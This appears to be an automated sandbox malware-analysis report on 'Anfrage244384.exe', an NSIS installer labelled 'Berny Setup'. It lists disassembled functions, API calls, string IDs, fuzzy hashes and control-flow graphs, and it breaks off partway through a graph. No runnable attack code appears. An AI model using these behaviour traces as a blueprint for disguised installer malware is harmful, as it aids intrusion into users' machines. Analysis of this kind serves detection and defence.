                                                        • API String ID: 3540041739-3551169577
                                                        • Opcode ID: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                        • Instruction ID: 1726a7b3b84a2b44988fbd512cc110d638b221a6b4b1acd42f263589eafed974
                                                        • Opcode Fuzzy Hash: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                        • Instruction Fuzzy Hash: D611E4736041282BEB00666D9C45EEF3698DB86374F244237FA25F31D1EA78CC1286E8
                                                        Function 00403A08 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetWindowTextA.USER32(00000000,Berny Setup), ref: 00403AA0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: TextWindow
                                                        • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$1033$Berny Setup
                                                        • API String ID: 530164218-965730707
                                                        • Opcode ID: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                        • Instruction ID: b04f25c42bae21d45f40ba66b929719106617fb277c5c9e4054ff8f425243e64
                                                        • Opcode Fuzzy Hash: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                        • Instruction Fuzzy Hash: 1811A431B005109BC720EF55DC8097777ACEF94759758813BE841A7391D6399D038E68
                                                        Function 00405835 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 0040583B
                                                        • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405844
                                                        • lstrcatA.KERNEL32(?,0040A014), ref: 00405855
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405835
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CharPrevlstrcatlstrlen
                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 2659869361-823278215
                                                        • Opcode ID: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                        • Instruction ID: 43d0cd13a6a684b33c4c302d476afec45ae212270d2ea225269fd4ac386bbf9e
                                                        • Opcode Fuzzy Hash: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                        • Instruction Fuzzy Hash: 46D0A9A2201A302AE20237158C09ECB2A08CF12316B04803BF202B21A1CA7D0D428BFE
                                                        Function 00401B5D Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalFree.KERNEL32(005B7748), ref: 00401BCC
                                                        • GlobalAlloc.KERNEL32(00000040,00000404), ref: 00401BDE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$AllocFree
                                                        • String ID: Call$Hw[
                                                        • API String ID: 3394109436-18582279
                                                        • Opcode ID: 382e83497b6452e7c65802fe1326a2029af183ce9cf88f464a37c6325ccb903e
                                                        • Instruction ID: d054425cb323db0c5527465b0d1f96526ab7a24d54a529c5f55500c1511f63c4
                                                        • Opcode Fuzzy Hash: 382e83497b6452e7c65802fe1326a2029af183ce9cf88f464a37c6325ccb903e
                                                        • Instruction Fuzzy Hash: AB2184726002159BD710ABA49E88E5E77E9DB44314B28883BF241B33D1D77999018F6D
                                                        Function 00402C96 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DestroyWindow.USER32(00000000,00000000,00402E76,00000001), ref: 00402CA9
                                                        • GetTickCount.KERNEL32 ref: 00402CC7
                                                        • CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402CE4
                                                        • ShowWindow.USER32(00000000,00000005), ref: 00402CF2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                        • String ID:
                                                        • API String ID: 2102729457-0
                                                        • Opcode ID: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                        • Instruction ID: 83d2969b76bdb5b590415ddeb9dbf6a67b394939c3bc7fdf3e8ca1fe09a6ce6e
                                                        • Opcode Fuzzy Hash: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                        • Instruction Fuzzy Hash: 4CF05E31605620ABD6217B20FF0C99F7BA4B714B45B81057EF045B21F8CB7818868B9C
                                                        Function 00405923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Berny Setup,NSIS Error), ref: 00405DD0
                                                          • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                        • lstrlenA.KERNEL32(0042BC70,00000000,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405976
                                                        • GetFileAttributesA.KERNEL32(0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,00000000,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\), ref: 00405986
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405923
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 3248276644-823278215
                                                        • Opcode ID: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                        • Instruction ID: 92543aceb9d73041788eed49261eabef0250a74612a1112b20cd45f7194ba1aa
                                                        • Opcode Fuzzy Hash: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                        • Instruction Fuzzy Hash: 2FF0F466104E51A2C222333A1C09E9F0A18CE43374719453FFCA1B62C2DB3C8D569DBE
                                                        Function 004036AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FreeLibrary.KERNEL32(?,75923410,00000000,C:\Users\user\AppData\Local\Temp\,00403686,004034A0,?), ref: 004036C8
                                                        • GlobalFree.KERNEL32(005ACB38), ref: 004036CF
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 004036AE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Free$GlobalLibrary
                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 1100898210-823278215
                                                        • Opcode ID: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                        • Instruction ID: 9fca1652fb000c4b705c35b2fab9dc87deb0b29542395ee28e6d3d9d92831ef3
                                                        • Opcode Fuzzy Hash: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                        • Instruction Fuzzy Hash: B8E08C32A2102067CA312F54EE0472A7BAC6F49B22F09046AE9807B3608B755C424BCC
                                                        Function 0040587C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage244384.exe,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405882
                                                        • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage244384.exe,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405890
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CharPrevlstrlen
                                                        • String ID: C:\Users\user\Desktop
                                                        • API String ID: 2709904686-1246513382
                                                        • Opcode ID: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                        • Instruction ID: 2ed5ef101b5713daa1f548366255804a524b1aabb415f21906ff2d2d9e5555c3
                                                        • Opcode Fuzzy Hash: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                        • Instruction Fuzzy Hash: C3D0A763408D701EF30363108C04B9F7A48DF12300F0940B2E481A2190C6BC0C424BBD
                                                        Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
                                                        • GlobalFree.KERNEL32(00000000), ref: 100011B4
                                                        • GlobalFree.KERNEL32(?), ref: 100011C7
                                                        • GlobalFree.KERNEL32(?), ref: 100011F5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$Alloc
                                                        • String ID:
                                                        • API String ID: 1780285237-0
                                                        • Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                        • Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
                                                        • Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                        • Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24
                                                        Function 0040599B Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                        • lstrcmpiA.KERNEL32(00000000,00000000), ref: 004059C3
                                                        • CharNextA.USER32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059D4
                                                        • lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: lstrlen$CharNextlstrcmpi
                                                        • String ID:
                                                        • API String ID: 190613189-0
                                                        • Opcode ID: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                        • Instruction ID: a6643053d284366244d0af05be0bd1f2da836f60db037e8ed7330f0f38b612ff
                                                        • Opcode Fuzzy Hash: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                        • Instruction Fuzzy Hash: D6F06232105918EFD7029BA5DD0099FBBA8EF16360B2540BAE840F7210D674DE019BA9

                                                        Execution Graph

                                                        Execution Coverage:0%
                                                        Dynamic/Decrypted Code Coverage:100%
                                                        Signature Coverage:100%
                                                        Total number of Nodes:1
                                                        Total number of Limit Nodes:0
                                                        execution_graph 76264 34dc2df0 LdrInitializeThunk

                                                        Executed Functions

                                                        Function 34DC35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1 34dc35c0-34dc35cc LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: feb7075355a5e875faa9f89a78993452651a6a523705d79e0a0880f1a9a34250
                                                        • Instruction ID: 877737ddae270a6a312e17759c1ae3bf3636ae0d7724dd71a1544463fbc4e8f7
                                                        • Opcode Fuzzy Hash: feb7075355a5e875faa9f89a78993452651a6a523705d79e0a0880f1a9a34250
                                                        • Instruction Fuzzy Hash: A890023564551402D2017158491470610254FD1205F65D412B0525639D8795CA5565A2
                                                        Function 34DC2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 0 34dc2df0-34dc2dfc LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: 77f0f6d113a9617bbda99c08a35ebe3e93a728282b1198f5d82a7309c3e4b665
                                                        • Instruction ID: 06384bc2cf84895cc975bd901193d38d7fa8d4ea309d8701d49dbb626cbb9f98
                                                        • Opcode Fuzzy Hash: 77f0f6d113a9617bbda99c08a35ebe3e93a728282b1198f5d82a7309c3e4b665
                                                        • Instruction Fuzzy Hash: E390023524141413D2127158490470700294FD1245F95D413B0525629D9656CA56A121

                                                        Non-executed Functions

                                                        Function 34E3FCAB Relevance: 31.4, Strings: 25, Instructions: 195COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 95 34e3fcab-34e3fcc3 GetPEB 96 34e3fce2-34e3fce3 call 34d7b970 95->96 97 34e3fcc5-34e3fce0 GetPEB call 34d7b970 95->97 101 34e3fce8-34e3fd0a call 34d7b970 96->101 97->101 104 34e3fd81-34e3fd8a GetPEB 101->104 105 34e3fd0c 101->105 122 34e3fda9-34e3fdaa call 34d7b970 104->122 123 34e3fd8c-34e3fda7 GetPEB call 34d7b970 104->123 106 34e3fd21-34e3fd26 105->106 107 34e3fd60-34e3fd65 105->107 108 34e3fd67-34e3fd6c 105->108 109 34e3fd44-34e3fd49 105->109 110 34e3fd4b-34e3fd50 105->110 111 34e3fd28-34e3fd2d 105->111 112 34e3fd2f-34e3fd34 105->112 113 34e3fd6e-34e3fd73 105->113 114 34e3fd13-34e3fd18 105->114 115 34e3fd52-34e3fd57 105->115 116 34e3fd36-34e3fd3b 105->116 117 34e3fd75-34e3fd7a 105->117 118 34e3fd1a-34e3fd1f 105->118 119 34e3fd59-34e3fd5e 105->119 120 34e3fd3d-34e3fd42 105->120 121 34e3fd7c 105->121 106->104 107->104 108->104 109->104 110->104 111->104 112->104 113->104 114->104 115->104 116->104 117->104 118->104 119->104 120->104 121->104 127 34e3fdaf-34e3fdca call 34d7b970 122->127 123->127 130 34e3fe0d-34e3fe13 127->130 131 34e3fdcc-34e3fdd5 GetPEB 127->131 132 34e3fe56-34e3fe5c 130->132 133 34e3fe15-34e3fe1e GetPEB 130->133 134 34e3fdd7-34e3fdf2 GetPEB call 34d7b970 131->134 135 34e3fdf4-34e3fdf5 call 34d7b970 131->135 138 34e3fe9f-34e3fea5 132->138 139 34e3fe5e-34e3fe67 GetPEB 132->139 136 34e3fe20-34e3fe3b GetPEB call 34d7b970 133->136 137 34e3fe3d-34e3fe3e call 34d7b970 133->137 149 34e3fdfa-34e3fe0c call 34d7b970 134->149 135->149 152 34e3fe43-34e3fe55 call 34d7b970 136->152 137->152 143 34e3fea7-34e3fead 138->143 144 34e3feaf-34e3feb8 GetPEB 138->144 147 34e3fe86-34e3fe87 call 34d7b970 139->147 148 34e3fe69-34e3fe84 GetPEB call 34d7b970 139->148 143->144 155 34e3fef7-34e3ff00 GetPEB 143->155 156 34e3fed7-34e3fed8 call 34d7b970 144->156 157 34e3feba-34e3fed5 GetPEB call 34d7b970 144->157 162 34e3fe8c-34e3fe9e call 34d7b970 147->162 148->162 149->130 152->132 160 34e3ff02-34e3ff1d GetPEB call 34d7b970 155->160 161 34e3ff1f-34e3ff20 call 34d7b970 155->161 171 34e3fedd-34e3fef4 call 34d7b970 156->171 157->171 174 34e3ff25-34e3ff3a call 34d7b970 160->174 161->174 162->138 171->155
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                                        • API String ID: 0-2897834094
                                                        • Opcode ID: be11a10ea56ce046c570c78e10e06d4b491707d8bbdfa9da105fc3ae0499781e
                                                        • Instruction ID: 2dc0fb8fde0cdfae169dc2b5a2111eaabf929696a4dbbf330a4cdb5bc6575993
                                                        • Opcode Fuzzy Hash: be11a10ea56ce046c570c78e10e06d4b491707d8bbdfa9da105fc3ae0499781e
                                                        • Instruction Fuzzy Hash: 1861E272652241DFE6839F54D888E20BBF8EF4AB39B45409AE8009B757CB34EC84CF55
                                                        Function 34E294E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 553 34e294e0-34e29529 554 34e2952b-34e29530 553->554 555 34e29578-34e29587 553->555 556 34e29534-34e2953a 554->556 555->556 557 34e29589-34e2958e 555->557 558 34e29540-34e29564 call 34dc9020 556->558 559 34e29695-34e296bd call 34dc9020 556->559 560 34e29d13-34e29d27 call 34dc4c30 557->560 567 34e29593-34e29634 GetPEB call 34e2dc65 558->567 568 34e29566-34e29573 call 34e4972b 558->568 569 34e296bf-34e296da call 34e29d2a 559->569 570 34e296dc-34e29712 559->570 580 34e29652-34e29667 567->580 581 34e29636-34e29644 567->581 579 34e2967d-34e29690 RtlDebugPrintTimes 568->579 574 34e29714-34e29716 569->574 570->574 574->560 578 34e2971c-34e29731 RtlDebugPrintTimes 574->578 578->560 587 34e29737-34e2973e 578->587 579->560 580->579 582 34e29669-34e2966e 580->582 581->580 584 34e29646-34e2964b 581->584 585 34e29673-34e29676 582->585 586 34e29670 582->586 584->580 585->579 586->585 587->560 589 34e29744-34e2975f 587->589 590 34e29763-34e29774 call 34e2a808 589->590 593 34e29d11 590->593 594 34e2977a-34e2977c 590->594 593->560 594->560 595 34e29782-34e29789 594->595 596 34e2978f-34e29794 595->596 597 34e298fc-34e29902 595->597 600 34e29796-34e2979c 596->600 601 34e297bc 596->601 598 34e29908-34e29937 call 34dc9020 597->598 599 34e29a9c-34e29aa2 597->599 615 34e29970-34e29985 598->615 616 